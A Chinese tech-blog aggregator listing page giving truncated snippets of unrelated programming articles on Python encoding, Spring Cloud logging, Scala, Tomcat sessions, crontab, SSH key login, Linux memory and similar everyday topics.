2019独角兽企业重金招聘Python工程师标准>>>字符串在Python内部的表示是unicode编码，因此，在做编码转换时，通常需要以unicode作为中间编码，即先将其他编码的字符串解码（decode）成unicode，再从unicode编码（encode）成另一种编码。Decode的作用是将其他编码的字符串转换成unicode编码，如str1.decode('gb2312')，表示将gb2
SpringCloud集成ELK echola_mendes ELK spring cloud elk java
1、添加依赖net.logstash.logbacklogstash-logback-encoder6.12、在logback-spring.xml中添加配置信息（logback-spring.xml在文末）192.168.2.203:4560............192.168.2.203:4560对应搭建的Logstash地址Logback日志打印由于SpringBoot项目在引用了sprn
【深入理解计算机系统】三：布尔逻辑与组合电路 Geeksongs javascript vue jquery java spring boot
4.1.BooleanExpressionsToday’sdigitalcircuitsarebuiltsothattheycanperformveryfastoperationsoverdatathatisencodedinbinary.TheunderlyingoperationsarepartofwhatisknownasBooleanAlgebra.Thisalgebraconsistso
python 加密解密 weixin_34194359 python 开发工具
1.使用base64s1=base64.encodestring('helloworld')s2=base64.decodestring(s1)prints1,s2结果aGVsbG8gd29ybGQ=helloworldBase64编码，64指A-Z、a-z、0-9、+和/这64个字符，还有“=”号不属于编码字符，而是填充字符。为什么发明这么个编码呢，这个编码的原理很简单，“破解”也很容易，原因是
项目中枚举与注解的结合使用飞翔的马甲 java enum annotation
前言：版本兼容，一直是迭代开发头疼的事，最近新版本加上了支持新题型，如果新创建一份问卷包含了新题型，那旧版本客户端就不支持，如果新创建的问卷不包含新题型，那么新旧客户端都支持。这里面我们通过给问卷类型枚举增加自定义注解的方式完成。顺便巩固下枚举与注解。一、枚举 1.在创建枚举类的时候，该类已继承java.lang.Enum类，所以自定义枚举类无法继承别的类，但可以实现接口。
【Scala十七】Scala核心十一：下划线_的用法 bit1129 scala
下划线_在Scala中广泛应用，_的基本含义是作为占位符使用。_在使用时是出问题非常多的地方，本文将不断完善_的使用场景以及所表达的含义 1. 在高阶函数中使用 scala> val list = List(-3,8,7,9) list: List[Int] = List(-3, 8, 7, 9) scala> list.filter(_ > 7) r
web缓存基础：术语、http报头和缓存策略 dalan_123 Web
对于很多人来说，去访问某一个站点，若是该站点能够提供智能化的内容缓存来提高用户体验，那么最终该站点的访问者将络绎不绝。缓存或者对之前的请求临时存储，是http协议实现中最核心的内容分发策略之一。分发路径中的组件均可以缓存内容来加速后续的请求，这是受控于对该内容所声明的缓存策略。接下来将讨web内容缓存策略的基本概念，具体包括如如何选择缓存策略以保证互联网范围内的缓存能够正确处理的您的内容，并谈论下
crontab 问题周凡杨 linux crontab unix
一： 0481-079 Reached a symbol that is not expected. 背景： */5 * * * * /usr/IBMIHS/rsync.sh
让tomcat支持2级域名共享session g21121 session
tomcat默认情况下是不支持2级域名共享session的，所有有些情况下登陆后从主域名跳转到子域名会发生链接session不相同的情况，但是只需修改几处配置就可以了。打开tomcat下conf下context.xml文件找到Context标签,修改为如下内容如果你的域名是www.test.com <Context sessionCookiePath="/path&q
web报表工具FineReport常用函数的用法总结（数学和三角函数）老A不折腾 Web finereport 总结
ABS ABS(number):返回指定数字的绝对值。绝对值是指没有正负符号的数值。 Number:需要求出绝对值的任意实数。示例: ABS(-1.5)等于1.5。 ABS(0)等于0。 ABS(2.5)等于2.5。 ACOS ACOS(number):返回指定数值的反余弦值。反余弦值为一个角度，返回角度以弧度形式表示。 Number:需要返回角
linux 启动java进程 sh文件墙头上一根草 linux shell jar
#!/bin/bash #初始化服务器的进程PId变量 user_pid=0; robot_pid=0; loadlort_pid=0; gateway_pid=0; ######### #检查相关服务器是否启动成功 #说明： #使用JDK自带的JPS命令及grep命令组合，准确查找pid #jps 加 l 参数，表示显示java的完整包路径 #使用awk，分割出pid
我的spring学习笔记5-如何使用ApplicationContext替换BeanFactory aijuans Spring 3 系列
如何使用ApplicationContext替换BeanFactory？ package onlyfun.caterpillar.device; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.xml.XmlBeanFactory; import
Linux 内存使用方法详细解析 annan211 linux 内存 Linux内存解析
来源 http://blog.jobbole.com/45748/ 我是一名程序员，那么我在这里以一个程序员的角度来讲解Linux内存的使用。一提到内存管理，我们头脑中闪出的两个概念，就是虚拟内存，与物理内存。这两个概念主要来自于linux内核的支持。 Linux在内存管理上份为两级，一级是线性区，类似于00c73000-00c88000，对应于虚拟内存，它实际上不占用
数据库的单表查询常用命令及使用方法(-) 百合不是茶 oracle 函数单表查询
创建数据库; --建表 create table bloguser(username varchar2(20),userage number(10),usersex char(2)); 创建bloguser表,里面有三个字段 &nbs
多线程基础知识 bijian1013 java 多线程 thread java多线程
一．进程和线程进程就是一个在内存中独立运行的程序，有自己的地址空间。如正在运行的写字板程序就是一个进程。 “多任务”：指操作系统能同时运行多个进程（程序）。如WINDOWS系统可以同时运行写字板程序、画图程序、WORD、Eclipse等。线程：是进程内部单一的一个顺序控制流。线程和进程 a. 每个进程都有独立的
fastjson简单使用实例 bijian1013 fastjson
一.简介阿里巴巴fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库；包括“序列化”和“反序列化”两部分，它具备如下特征：
【RPC框架Burlap】Spring集成Burlap bit1129 spring
Burlap和Hessian同属于codehaus的RPC调用框架，但是Burlap已经几年不更新，所以Spring在4.0里已经将Burlap的支持置为Deprecated,所以在选择RPC框架时，不应该考虑Burlap了。这篇文章还是记录下Burlap的用法吧，主要是复制粘贴了Hessian与Spring集成一文，【RPC框架Hessian四】Hessian与Spring集成
【Mahout一】基于Mahout 命令参数含义 bit1129 Mahout
1. mahout seqdirectory $ mahout seqdirectory --input (-i) input Path to job input directory(原始文本文件). --output (-o) output The directory pathna
linux使用flock文件锁解决脚本重复执行问题 ronin47 linux lock　重复执行
linux的crontab命令，可以定时执行操作，最小周期是每分钟执行一次。关于crontab实现每秒执行可参考我之前的文章《linux crontab 实现每秒执行》现在有个问题，如果设定了任务每分钟执行一次，但有可能一分钟内任务并没有执行完成，这时系统会再执行任务。导致两个相同的任务在执行。例如： <? // test .php
java-74-数组中有一个数字出现的次数超过了数组长度的一半，找出这个数字 bylijinnan java
public class OcuppyMoreThanHalf { /** * Q74 数组中有一个数字出现的次数超过了数组长度的一半，找出这个数字 * two solutions: * 1.O(n) * see <beauty of coding>--每次删除两个不同的数字，不改变数组的特性 * 2.O(nlogn) * 排序。中间
linux 系统相关命令 candiio linux
系统参数 cat /proc/cpuinfo cpu相关参数 cat /proc/meminfo 内存相关参数 cat /proc/loadavg 负载情况性能参数 1）top M：按内存使用排序 P：按CPU占用排序 1：显示各CPU的使用情况 k：kill进程 o：更多排序规则回车：刷新数据 2）ulimit ulimit -a：显示本用户的系统限制参
[经营与资产]保持独立性和稳定性对于软件开发的重要意义 comsci 软件开发
一个软件的架构从诞生到成熟，中间要经过很多次的修正和改造如果在这个过程中，外界的其它行业的资本不断的介入这种软件架构的升级过程中那么软件开发者原有的设计思想和开发路线
在CentOS5.5上编译OpenJDK6 Cwind linux OpenJDK
几番周折终于在自己的CentOS5.5上编译成功了OpenJDK6，将编译过程和遇到的问题作一简要记录，备查。 0. OpenJDK介绍 OpenJDK是Sun（现Oracle）公司发布的基于GPL许可的Java平台的实现。其优点： 1、它的核心代码与同时期Sun（-> Oracle）的产品版基本上是一样的，血统纯正，不用担心性能问题，也基本上没什么兼容性问题；（代码上最主要的差异是
java乱码问题 dashuaifu java乱码问题 js中文乱码
swfupload上传文件参数值为中文传递到后台接收中文乱码在js中用setPostParams（{"tag" : encodeURI( document.getElementByIdx_x("filetag").value，"utf-8")}）; 然后在servlet中String t
cygwin很多命令显示command not found的解决办法 dcj3sjt126com cygwin
cygwin很多命令显示command not found的解决办法修改cygwin.BAT文件如下 @echo off D: set CYGWIN=tty notitle glob set PATH=%PATH%;d:\cygwin\bin;d:\cygwin\sbin;d:\cygwin\usr\bin;d:\cygwin\usr\sbin;d:\cygwin\us
[介绍]从 Yii 1.1 升级 dcj3sjt126com PHP yii2
2.0 版框架是完全重写的，在 1.1 和 2.0 两个版本之间存在相当多差异。因此从 1.1 版升级并不像小版本间的跨越那么简单，通过本指南你将会了解两个版本间主要的不同之处。如果你之前没有用过 Yii 1.1，可以跳过本章，直接从"入门篇"开始读起。请注意，Yii 2.0 引入了很多本章并没有涉及到的新功能。强烈建议你通读整部权威指南来了解所有新特性。这样有可能会发
Linux SSH免登录配置总结 eksliang ssh-keygen Linux SSH免登录认证 Linux SSH互信
转载请出自出处：http://eksliang.iteye.com/blog/2187265 一、原理我们使用ssh-keygen在ServerA上生成私钥跟公钥，将生成的公钥拷贝到远程机器ServerB上后,就可以使用ssh命令无需密码登录到另外一台机器ServerB上。生成公钥与私钥有两种加密方式，第一种是
手势滑动销毁Activity gundumw100 android
老是效仿ios，做android的真悲催！有需求：需要手势滑动销毁一个Activity 怎么办尼？自己写？不用~，网上先问一下百度。结果： http://blog.csdn.net/xiaanming/article/details/20934541 首先将你需要的Activity继承SwipeBackActivity，它会在你的布局根目录新增一层SwipeBackLay
JavaScript变换表格边框颜色 ini JavaScript html Web html5 css
效果查看：http://hovertree.com/texiao/js/2.htm代码如下，保存到HTML文件也可以查看效果： <html> <head> <meta charset="utf-8"> <title>表格边框变换颜色代码-何问起</title> </head> <body&
Kafka Rest : Confluent kane_xie kafka REST confluent
最近拿到一个kafka rest的需求，但kafka暂时还没有提供rest api（应该是有在开发中，毕竟rest这么火），上网搜了一下，找到一个Confluent Platform，本文简单介绍一下安装。这里插一句，给大家推荐一个九尾搜索，原名叫谷粉SOSO，不想fanqiang谷歌的可以用这个。以前在外企用谷歌用习惯了，出来之后用度娘搜技术问题，那匹配度简直感人。环境声明：Ubu
Calender不是单例 men4661273 单例 Calender
在我们使用Calender的时候，使用过Calendar.getInstance()来获取一个日期类的对象，这种方式跟单例的获取方式一样，那么它到底是不是单例呢，如果是单例的话，一个对象修改内容之后，另外一个线程中的数据不久乱套了吗？从试验以及源码中可以得出，Calendar不是单例。测试： Calendar c1 =
线程内存和主内存之间联系 qifeifei java thread
1， java多线程共享主内存中变量的时候，一共会经过几个阶段， lock:将主内存中的变量锁定，为一个线程所独占。 unclock:将lock加的锁定解除，此时其它的线程可以有机会访问此变量。 read:将主内存中的变量值读到工作内存当中。 load:将read读取的值保存到工作内存中的变量副本中。
schedule和scheduleAtFixedRate tangqi609567707 java timer schedule
原文地址：http://blog.csdn.net/weidan1121/article/details/527307 import java.util.Timer;import java.util.TimerTask;import java.util.Date; /** * @author vincent */public class TimerTest {
erlang 部署 wudixiaotie erlang
1.如果在启动节点的时候报这个错： {"init terminating in do_boot",{'cannot load',elf_format,get_files}} 则需要在reltool.config中加入 {app, hipe, [{incl_cond, exclude}]}, 2.当generate时，遇到： ERROR